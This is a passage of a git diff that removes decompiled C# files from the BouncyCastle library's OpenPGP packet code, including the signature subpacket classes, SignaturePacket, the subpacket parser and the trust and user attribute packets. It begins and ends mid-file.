bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.Revocable, critical, isLongLength, data) - { - } - - public Revocable(bool critical, bool isRevocable) - : base(SignatureSubpacketTag.Revocable, critical, isLongLength: false, BooleanToByteArray(isRevocable)) - { - } - - public bool IsRevocable() - { - return data[0] != 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureCreationTime.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureCreationTime.cs deleted file mode 100644 index 60ad2b7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureCreationTime.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg.Sig; - -public class SignatureCreationTime : SignatureSubpacket -{ - protected static byte[] TimeToBytes(DateTime time) - { - long num = DateTimeUtilities.DateTimeToUnixMs(time) / 1000; - return new byte[4] - { - (byte)(num >> 24), - (byte)(num >> 16), - (byte)(num >> 8), - (byte)num - }; - } - - public SignatureCreationTime(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.CreationTime, critical, isLongLength, data) - { - } - - public SignatureCreationTime(bool critical, DateTime date) - : base(SignatureSubpacketTag.CreationTime, critical, isLongLength: false, TimeToBytes(date)) - { - } - - public DateTime GetTime() - { - long num = (uint)((data[0] << 24) | (data[1] << 16) | (data[2] << 8) | data[3]); - return DateTimeUtilities.UnixMsToDateTime(num * 1000); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureExpirationTime.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureExpirationTime.cs deleted file mode 100644 index f035435..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignatureExpirationTime.cs +++ /dev/null @@ -1,27 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class SignatureExpirationTime : SignatureSubpacket -{ - public long Time => ((long)(data[0] & 0xFF) << 24) | ((long)(data[1] & 0xFF) << 16) | ((long)(data[2] & 0xFF) << 8) | (long)((ulong)data[3] & 0xFFuL); - - protected static byte[] TimeToBytes(long t) - { - return new byte[4] - { - (byte)(t >> 24), - (byte)(t >> 16), - (byte)(t >> 8), - (byte)t - }; - } - - public SignatureExpirationTime(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.ExpireTime, critical, isLongLength, data) - { - } - - public SignatureExpirationTime(bool critical, long seconds) - : base(SignatureSubpacketTag.ExpireTime, critical, isLongLength: false, TimeToBytes(seconds)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignerUserId.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignerUserId.cs deleted file mode 100644 index 85a741d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/SignerUserId.cs +++ /dev/null @@ -1,34 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class SignerUserId : SignatureSubpacket -{ - private static byte[] UserIdToBytes(string id) - { - byte[] array = new byte[id.Length]; - for (int i = 0; i != id.Length; i++) - { - array[i] = (byte)id[i]; - } - return array; - } - - public SignerUserId(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.SignerUserId, critical, isLongLength, data) - { - } - - public SignerUserId(bool critical, string userId) - : base(SignatureSubpacketTag.SignerUserId, critical, isLongLength: false, UserIdToBytes(userId)) - { - } - - public string GetId() - { - char[] array = new char[data.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (char)(data[i] & 0xFF); - } - return new string(array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/TrustSignature.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/TrustSignature.cs deleted file mode 100644 index 40da6fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/TrustSignature.cs +++ /dev/null @@ -1,27 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class TrustSignature : SignatureSubpacket -{ - public int Depth => data[0] & 0xFF; - - public int TrustAmount => data[1] & 0xFF; - - private static byte[] IntToByteArray(int v1, int v2) - { - return new byte[2] - { - (byte)v1, - (byte)v2 - }; - } - - public TrustSignature(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.TrustSig, critical, isLongLength, data) - { - } - - public TrustSignature(bool critical, int depth, int trustAmount) - : base(SignatureSubpacketTag.TrustSig, critical, isLongLength: false, IntToByteArray(depth, trustAmount)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignaturePacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignaturePacket.cs deleted file mode 100644 index 77c106f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignaturePacket.cs +++ /dev/null @@ -1,338 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Bcpg.Sig; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg; - -public class SignaturePacket : ContainedPacket -{ - private int version; - - private int signatureType; - - private long creationTime; - - private long keyId; - - private PublicKeyAlgorithmTag keyAlgorithm; - - private HashAlgorithmTag hashAlgorithm; - - private MPInteger[] signature; - - private byte[] fingerprint; - - private SignatureSubpacket[] hashedData; - - private SignatureSubpacket[] unhashedData; - - private byte[] signatureEncoding; - - public int Version => version; - - public int SignatureType => signatureType; - - public long KeyId => keyId; - - public PublicKeyAlgorithmTag KeyAlgorithm => keyAlgorithm; - - public HashAlgorithmTag HashAlgorithm => hashAlgorithm; - - public long CreationTime => creationTime; - - internal SignaturePacket(BcpgInputStream bcpgIn) - { - version = bcpgIn.ReadByte(); - if (version == 3 || version == 2) - { - bcpgIn.ReadByte(); - signatureType = bcpgIn.ReadByte(); - creationTime = (((long)bcpgIn.ReadByte() << 24) | ((long)bcpgIn.ReadByte() << 16) | ((long)bcpgIn.ReadByte() << 8) | (uint)bcpgIn.ReadByte()) * 1000; - keyId |= (long)bcpgIn.ReadByte() << 56; - keyId |= (long)bcpgIn.ReadByte() << 48; - keyId |= (long)bcpgIn.ReadByte() << 40; - keyId |= (long)bcpgIn.ReadByte() << 32; - keyId |= (long)bcpgIn.ReadByte() << 24; - keyId |= (long)bcpgIn.ReadByte() << 16; - keyId |= (long)bcpgIn.ReadByte() << 8; - keyId |= (uint)bcpgIn.ReadByte(); - keyAlgorithm = (PublicKeyAlgorithmTag)bcpgIn.ReadByte(); - hashAlgorithm = (HashAlgorithmTag)bcpgIn.ReadByte(); - } - else - { - if (version != 4) - { - throw new Exception("unsupported version: " + version); - } - signatureType = bcpgIn.ReadByte(); - keyAlgorithm = (PublicKeyAlgorithmTag)bcpgIn.ReadByte(); - hashAlgorithm = (HashAlgorithmTag)bcpgIn.ReadByte(); - int num = (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte(); - byte[] buffer = new byte[num]; - bcpgIn.ReadFully(buffer); - SignatureSubpacketsParser signatureSubpacketsParser = new SignatureSubpacketsParser(new MemoryStream(buffer, writable: false)); - IList list = Platform.CreateArrayList(); - SignatureSubpacket value; - while ((value = signatureSubpacketsParser.ReadPacket()) != null) - { - list.Add(value); - } - hashedData = new SignatureSubpacket[list.Count]; - for (int i = 0; i != hashedData.Length; i++) - { - SignatureSubpacket signatureSubpacket = (SignatureSubpacket)list[i]; - if (signatureSubpacket is IssuerKeyId) - { - keyId = ((IssuerKeyId)signatureSubpacket).KeyId; - } - else if (signatureSubpacket is SignatureCreationTime) - { - creationTime = DateTimeUtilities.DateTimeToUnixMs(((SignatureCreationTime)signatureSubpacket).GetTime()); - } - hashedData[i] = signatureSubpacket; - } - int num2 = (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte(); - byte[] buffer2 = new byte[num2]; - bcpgIn.ReadFully(buffer2); - signatureSubpacketsParser = new SignatureSubpacketsParser(new MemoryStream(buffer2, writable: false)); - list.Clear(); - while ((value = signatureSubpacketsParser.ReadPacket()) != null) - { - list.Add(value); - } - unhashedData = new SignatureSubpacket[list.Count]; - for (int j = 0; j != unhashedData.Length; j++) - { - SignatureSubpacket signatureSubpacket2 = (SignatureSubpacket)list[j]; - if (signatureSubpacket2 is IssuerKeyId) - { - keyId = ((IssuerKeyId)signatureSubpacket2).KeyId; - } - unhashedData[j] = signatureSubpacket2; - } - } - fingerprint = new byte[2]; - bcpgIn.ReadFully(fingerprint); - switch (keyAlgorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaSign: - { - MPInteger mPInteger8 = new MPInteger(bcpgIn); - signature = new MPInteger[1] { mPInteger8 }; - return; - } - case PublicKeyAlgorithmTag.Dsa: - { - MPInteger mPInteger6 = new MPInteger(bcpgIn); - MPInteger mPInteger7 = new MPInteger(bcpgIn); - signature = new MPInteger[2] { mPInteger6, mPInteger7 }; - return; - } - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - MPInteger mPInteger3 = new MPInteger(bcpgIn); - MPInteger mPInteger4 = new MPInteger(bcpgIn); - MPInteger mPInteger5 = new MPInteger(bcpgIn); - signature = new MPInteger[3] { mPInteger3, mPInteger4, mPInteger5 }; - return; - } - case PublicKeyAlgorithmTag.ECDsa: - { - MPInteger mPInteger = new MPInteger(bcpgIn); - MPInteger mPInteger2 = new MPInteger(bcpgIn); - signature = new MPInteger[2] { mPInteger, mPInteger2 }; - return; - } - } - if (keyAlgorithm >= PublicKeyAlgorithmTag.Experimental_1 && keyAlgorithm <= PublicKeyAlgorithmTag.Experimental_11) - { - signature = null; - MemoryStream memoryStream = new MemoryStream(); - int num3; - while ((num3 = bcpgIn.ReadByte()) >= 0) - { - memoryStream.WriteByte((byte)num3); - } - signatureEncoding = memoryStream.ToArray(); - return; - } - throw new IOException("unknown signature key algorithm: " + keyAlgorithm); - } - - public SignaturePacket(int signatureType, long keyId, PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm, SignatureSubpacket[] hashedData, SignatureSubpacket[] unhashedData, byte[] fingerprint, MPInteger[] signature) - : this(4, signatureType, keyId, keyAlgorithm, hashAlgorithm, hashedData, unhashedData, fingerprint, signature) - { - } - - public SignaturePacket(int version, int signatureType, long keyId, PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm, long creationTime, byte[] fingerprint, MPInteger[] signature) - : this(version, signatureType, keyId, keyAlgorithm, hashAlgorithm, null, null, fingerprint, signature) - { - this.creationTime = creationTime; - } - - public SignaturePacket(int version, int signatureType, long keyId, PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm, SignatureSubpacket[] hashedData, SignatureSubpacket[] unhashedData, byte[] fingerprint, MPInteger[] signature) - { - this.version = version; - this.signatureType = signatureType; - this.keyId = keyId; - this.keyAlgorithm = keyAlgorithm; - this.hashAlgorithm = hashAlgorithm; - this.hashedData = hashedData; - this.unhashedData = unhashedData; - this.fingerprint = fingerprint; - this.signature = signature; - if (hashedData != null) - { - setCreationTime(); - } - } - - public byte[] GetSignatureTrailer() - { - byte[] array = null; - if (version == 3) - { - array = new byte[5]; - long num = creationTime / 1000; - array[0] = (byte)signatureType; - array[1] = (byte)(num >> 24); - array[2] = (byte)(num >> 16); - array[3] = (byte)(num >> 8); - array[4] = (byte)num; - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.WriteByte((byte)Version); - memoryStream.WriteByte((byte)SignatureType); - memoryStream.WriteByte((byte)KeyAlgorithm); - memoryStream.WriteByte((byte)HashAlgorithm); - MemoryStream memoryStream2 = new MemoryStream(); - SignatureSubpacket[] hashedSubPackets = GetHashedSubPackets(); - for (int i = 0; i != hashedSubPackets.Length; i++) - { - hashedSubPackets[i].Encode(memoryStream2); - } - byte[] array2 = memoryStream2.ToArray(); - memoryStream.WriteByte((byte)(array2.Length >> 8)); - memoryStream.WriteByte((byte)array2.Length); - memoryStream.Write(array2, 0, array2.Length); - byte[] array3 = memoryStream.ToArray(); - memoryStream.WriteByte((byte)Version); - memoryStream.WriteByte(byte.MaxValue); - memoryStream.WriteByte((byte)(array3.Length >> 24)); - memoryStream.WriteByte((byte)(array3.Length >> 16)); - memoryStream.WriteByte((byte)(array3.Length >> 8)); - memoryStream.WriteByte((byte)array3.Length); - array = memoryStream.ToArray(); - } - return array; - } - - public MPInteger[] GetSignature() - { - return signature; - } - - public byte[] GetSignatureBytes() - { - if (signatureEncoding != null) - { - return (byte[])signatureEncoding.Clone(); - } - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - MPInteger[] array = signature; - foreach (MPInteger bcpgObject in array) - { - try - { - bcpgOutputStream.WriteObject(bcpgObject); - } - catch (IOException ex) - { - throw new Exception("internal error: " + ex); - } - } - return memoryStream.ToArray(); - } - - public SignatureSubpacket[] GetHashedSubPackets() - { - return hashedData; - } - - public SignatureSubpacket[] GetUnhashedSubPackets() - { - return unhashedData; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WriteByte((byte)version); - if (version == 3 || version == 2) - { - bcpgOutputStream.Write(5, (byte)signatureType); - bcpgOutputStream.WriteInt((int)(creationTime / 1000)); - bcpgOutputStream.WriteLong(keyId); - bcpgOutputStream.Write((byte)keyAlgorithm, (byte)hashAlgorithm); - } - else - { - if (version != 4) - { - throw new IOException("unknown version: " + version); - } - bcpgOutputStream.Write((byte)signatureType, (byte)keyAlgorithm, (byte)hashAlgorithm); - EncodeLengthAndData(bcpgOutputStream, GetEncodedSubpackets(hashedData)); - EncodeLengthAndData(bcpgOutputStream, GetEncodedSubpackets(unhashedData)); - } - bcpgOutputStream.Write(fingerprint); - if (signature != null) - { - bcpgOutputStream.WriteObjects(signature); - } - else - { - bcpgOutputStream.Write(signatureEncoding); - } - bcpgOut.WritePacket(PacketTag.Signature, memoryStream.ToArray(), oldFormat: true); - } - - private static void EncodeLengthAndData(BcpgOutputStream pOut, byte[] data) - { - pOut.WriteShort((short)data.Length); - pOut.Write(data); - } - - private static byte[] GetEncodedSubpackets(SignatureSubpacket[] ps) - { - MemoryStream memoryStream = new MemoryStream(); - foreach (SignatureSubpacket signatureSubpacket in ps) - { - signatureSubpacket.Encode(memoryStream); - } - return memoryStream.ToArray(); - } - - private void setCreationTime() - { - SignatureSubpacket[] array = hashedData; - foreach (SignatureSubpacket signatureSubpacket in array) - { - if (signatureSubpacket is SignatureCreationTime) - { - creationTime = DateTimeUtilities.DateTimeToUnixMs(((SignatureCreationTime)signatureSubpacket).GetTime()); - break; - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacket.cs deleted file mode 100644 index 2928985..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacket.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class SignatureSubpacket -{ - private readonly SignatureSubpacketTag type; - - private readonly bool critical; - - private readonly bool isLongLength; - - internal byte[] data; - - public SignatureSubpacketTag SubpacketType => type; - - protected internal SignatureSubpacket(SignatureSubpacketTag type, bool critical, bool isLongLength, byte[] data) - { - this.type = type; - this.critical = critical; - this.isLongLength = isLongLength; - this.data = data; - } - - public bool IsCritical() - { - return critical; - } - - public bool IsLongLength() - { - return isLongLength; - } - - public byte[] GetData() - { - return (byte[])data.Clone(); - } - - public void Encode(Stream os) - { - int num = data.Length + 1; - if (isLongLength) - { - os.WriteByte(byte.MaxValue); - os.WriteByte((byte)(num >> 24)); - os.WriteByte((byte)(num >> 16)); - os.WriteByte((byte)(num >> 8)); - os.WriteByte((byte)num); - } - else if (num < 192) - { - os.WriteByte((byte)num); - } - else if (num <= 8383) - { - num -= 192; - os.WriteByte((byte)(((num >> 8) & 0xFF) + 192)); - os.WriteByte((byte)num); - } - else - { - os.WriteByte(byte.MaxValue); - os.WriteByte((byte)(num >> 24)); - os.WriteByte((byte)(num >> 16)); - os.WriteByte((byte)(num >> 8)); - os.WriteByte((byte)num); - } - if (critical) - { - os.WriteByte((byte)((SignatureSubpacketTag)128 | type)); - } - else - { - os.WriteByte((byte)type); - } - os.Write(data, 0, data.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketTag.cs deleted file mode 100644 index 3798cfd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketTag.cs +++ /dev/null @@ -1,29 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum SignatureSubpacketTag -{ - CreationTime = 2, - ExpireTime = 3, - Exportable = 4, - TrustSig = 5, - RegExp = 6, - Revocable = 7, - KeyExpireTime = 9, - Placeholder = 10, - PreferredSymmetricAlgorithms = 11, - RevocationKey = 12, - IssuerKeyId = 16, - NotationData = 20, - PreferredHashAlgorithms = 21, - PreferredCompressionAlgorithms = 22, - KeyServerPreferences = 23, - PreferredKeyServer = 24, - PrimaryUserId = 25, - PolicyUrl = 26, - KeyFlags = 27, - SignerUserId = 28, - RevocationReason = 29, - Features = 30, - SignatureTarget = 31, - EmbeddedSignature = 32 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketsParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketsParser.cs deleted file mode 100644 index 608c34d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SignatureSubpacketsParser.cs +++ /dev/null @@ -1,104 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Bcpg.Sig; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class SignatureSubpacketsParser -{ - private readonly Stream input; - - public SignatureSubpacketsParser(Stream input) - { - this.input = input; - } - - public SignatureSubpacket ReadPacket() - { - int num = input.ReadByte(); - if (num < 0) - { - return null; - } - int num2 = 0; - bool isLongLength = false; - if (num < 192) - { - num2 = num; - } - else if (num <= 223) - { - num2 = (num - 192 << 8) + input.ReadByte() + 192; - } - else - { - if (num != 255) - { - throw new IOException("unexpected length header"); - } - isLongLength = true; - num2 = (input.ReadByte() << 24) | (input.ReadByte() << 16) | (input.ReadByte() << 8) | input.ReadByte(); - } - int num3 = input.ReadByte(); - if (num3 < 0) - { - throw new EndOfStreamException("unexpected EOF reading signature sub packet"); - } - byte[] array = new byte[num2 - 1]; - int num4 = Streams.ReadFully(input, array); - bool critical = (num3 & 0x80) != 0; - SignatureSubpacketTag signatureSubpacketTag = (SignatureSubpacketTag)(num3 & 0x7F); - if (num4 != array.Length) - { - array = signatureSubpacketTag switch - { - SignatureSubpacketTag.CreationTime => CheckData(array, 4, num4, "Signature Creation Time"), - SignatureSubpacketTag.IssuerKeyId => CheckData(array, 8, num4, "Issuer"), - SignatureSubpacketTag.KeyExpireTime => CheckData(array, 4, num4, "Signature Key Expiration Time"), - SignatureSubpacketTag.ExpireTime => CheckData(array, 4, num4, "Signature Expiration Time"), - _ => throw new EndOfStreamException("truncated subpacket data."), - }; - } - switch (signatureSubpacketTag) - { - case SignatureSubpacketTag.CreationTime: - return new SignatureCreationTime(critical, isLongLength, array); - case SignatureSubpacketTag.KeyExpireTime: - return new KeyExpirationTime(critical, isLongLength, array); - case SignatureSubpacketTag.ExpireTime: - return new SignatureExpirationTime(critical, isLongLength, array); - case SignatureSubpacketTag.Revocable: - return new Revocable(critical, isLongLength, array); - case SignatureSubpacketTag.Exportable: - return new Exportable(critical, isLongLength, array); - case SignatureSubpacketTag.IssuerKeyId: - return new IssuerKeyId(critical, isLongLength, array); - case SignatureSubpacketTag.TrustSig: - return new TrustSignature(critical, isLongLength, array); - case SignatureSubpacketTag.PreferredSymmetricAlgorithms: - case SignatureSubpacketTag.PreferredHashAlgorithms: - case SignatureSubpacketTag.PreferredCompressionAlgorithms: - return new PreferredAlgorithms(signatureSubpacketTag, critical, isLongLength, array); - case SignatureSubpacketTag.KeyFlags: - return new KeyFlags(critical, isLongLength, array); - case SignatureSubpacketTag.PrimaryUserId: - return new PrimaryUserId(critical, isLongLength, array); - case SignatureSubpacketTag.SignerUserId: - return new SignerUserId(critical, isLongLength, array); - case SignatureSubpacketTag.NotationData: - return new NotationData(critical, isLongLength, array); - default: - return new SignatureSubpacket(signatureSubpacketTag, critical, isLongLength, array); - } - } - - private byte[] CheckData(byte[] data, int expected, int bytesRead, string name) - { - if (bytesRead != expected) - { - throw new EndOfStreamException("truncated " + name + " subpacket data."); - } - return Arrays.CopyOfRange(data, 0, expected); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncDataPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncDataPacket.cs deleted file mode 100644 index 6bb39a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncDataPacket.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class SymmetricEncDataPacket : InputStreamPacket -{ - public SymmetricEncDataPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncIntegrityPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncIntegrityPacket.cs deleted file mode 100644 index d39b2ac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricEncIntegrityPacket.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class SymmetricEncIntegrityPacket : InputStreamPacket -{ - internal readonly int version; - - internal SymmetricEncIntegrityPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - version = bcpgIn.ReadByte(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyAlgorithmTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyAlgorithmTag.cs deleted file mode 100644 index a3df418..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyAlgorithmTag.cs +++ /dev/null @@ -1,19 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum SymmetricKeyAlgorithmTag -{ - Null, - Idea, - TripleDes, - Cast5, - Blowfish, - Safer, - Des, - Aes128, - Aes192, - Aes256, - Twofish, - Camellia128, - Camellia192, - Camellia256 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyEncSessionPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyEncSessionPacket.cs deleted file mode 100644 index 1b11829..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SymmetricKeyEncSessionPacket.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class SymmetricKeyEncSessionPacket : ContainedPacket -{ - private int version; - - private SymmetricKeyAlgorithmTag encAlgorithm; - - private S2k s2k; - - private readonly byte[] secKeyData; - - public SymmetricKeyAlgorithmTag EncAlgorithm => encAlgorithm; - - public S2k S2k => s2k; - - public int Version => version; - - public SymmetricKeyEncSessionPacket(BcpgInputStream bcpgIn) - { - version = bcpgIn.ReadByte(); - encAlgorithm = (SymmetricKeyAlgorithmTag)bcpgIn.ReadByte(); - s2k = new S2k(bcpgIn); - secKeyData = bcpgIn.ReadAll(); - } - - public SymmetricKeyEncSessionPacket(SymmetricKeyAlgorithmTag encAlgorithm, S2k s2k, byte[] secKeyData) - { - version = 4; - this.encAlgorithm = encAlgorithm; - this.s2k = s2k; - this.secKeyData = secKeyData; - } - - public byte[] GetSecKeyData() - { - return secKeyData; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.Write((byte)version, (byte)encAlgorithm); - bcpgOutputStream.WriteObject(s2k); - if (secKeyData != null && secKeyData.Length > 0) - { - bcpgOutputStream.Write(secKeyData); - } - bcpgOut.WritePacket(PacketTag.SymmetricKeyEncryptedSessionKey, memoryStream.ToArray(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/TrustPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/TrustPacket.cs deleted file mode 100644 index 309cc5b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/TrustPacket.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class TrustPacket : ContainedPacket -{ - private readonly byte[] levelAndTrustAmount; - - public TrustPacket(BcpgInputStream bcpgIn) - { - MemoryStream memoryStream = new MemoryStream(); - int num; - while ((num = bcpgIn.ReadByte()) >= 0) - { - memoryStream.WriteByte((byte)num); - } - levelAndTrustAmount = memoryStream.ToArray(); - } - - public TrustPacket(int trustCode) - { - levelAndTrustAmount = new byte[1] { (byte)trustCode }; - } - - public byte[] GetLevelAndTrustAmount() - { - return (byte[])levelAndTrustAmount.Clone(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.Trust, levelAndTrustAmount, oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributePacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributePacket.cs deleted file mode 100644 index 6d4c289..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributePacket.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg; - -public class UserAttributePacket : ContainedPacket -{ - private readonly UserAttributeSubpacket[] subpackets; - - public UserAttributePacket(BcpgInputStream bcpgIn) - { - UserAttributeSubpacketsParser userAttributeSubpacketsParser = new UserAttributeSubpacketsParser(bcpgIn); - IList list = Platform.CreateArrayList(); - UserAttributeSubpacket value; - while ((value = userAttributeSubpacketsParser.ReadPacket()) != null) - { - list.Add(value); - } - subpackets = new UserAttributeSubpacket[list.Count]; - for (int i = 0; i != subpackets.Length; i++) - { - subpackets[i] = (UserAttributeSubpacket)list[i]; - } - } - - public UserAttributePacket(UserAttributeSubpacket[] subpackets) - { - this.subpackets = subpackets; - } - - public UserAttributeSubpacket[] GetSubpackets() - { - return subpackets; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - MemoryStream memoryStream = new MemoryStream(); - for (int i = 0; i != subpackets.Length; i++) - { - subpackets[i].Encode(memoryStream); - } - bcpgOut.WritePacket(PacketTag.UserAttribute, memoryStream.ToArray(), oldFormat: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacket.cs deleted file mode 100644 index 55e7dc5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/UserAttributeSubpacket.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg; - -public class UserAttributeSubpacket -{ - internal readonly UserAttributeSubpacketTag type; - - private readonly bool longLength; - - protected readonly byte[] data; - - public virtual UserAttributeSubpacketTag SubpacketType => type; - - protected internal UserAttributeSubpacket(UserAttributeSubpacketTag type, byte[] data) - : this(type, forceLongLength: false, data) - { - } - - protected internal UserAttributeSubpacket(UserAttributeSubpacketTag type, bool forceLongLength, byte[] data) - { - this.type = type; - longLength = forceLongLength; - this.data = data; - } - - public virtual byte[] GetData() - { - return data; - } - - public virtual void Encode(Stream os) - { - int num = data.Length + 1; - if (num < 192 && !longLength) - { - os.WriteByte((byte)num); - } - else if (num <= 8383 && !longLength) - { - num -= 192; - os.WriteByte((byte)(((num >> 8) & 0xFF) + 192)); - os.WriteByte((byte)num); - } - else - { - os.WriteByte(byte.MaxValue); - os.WriteByte((byte)(num >> 24)); - os.WriteByte((byte)(num >> 16)); - os.WriteByte((byte)(num >> 8)); - os.WriteByte((byte)num); - } - os.WriteByte((byte)type); - os.Write(data, 0, data.Length); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is UserAttributeSubpacket userAttributeSubpacket)) - { - return false; - } - if (type == userAttributeSubpacket.type) - { - return 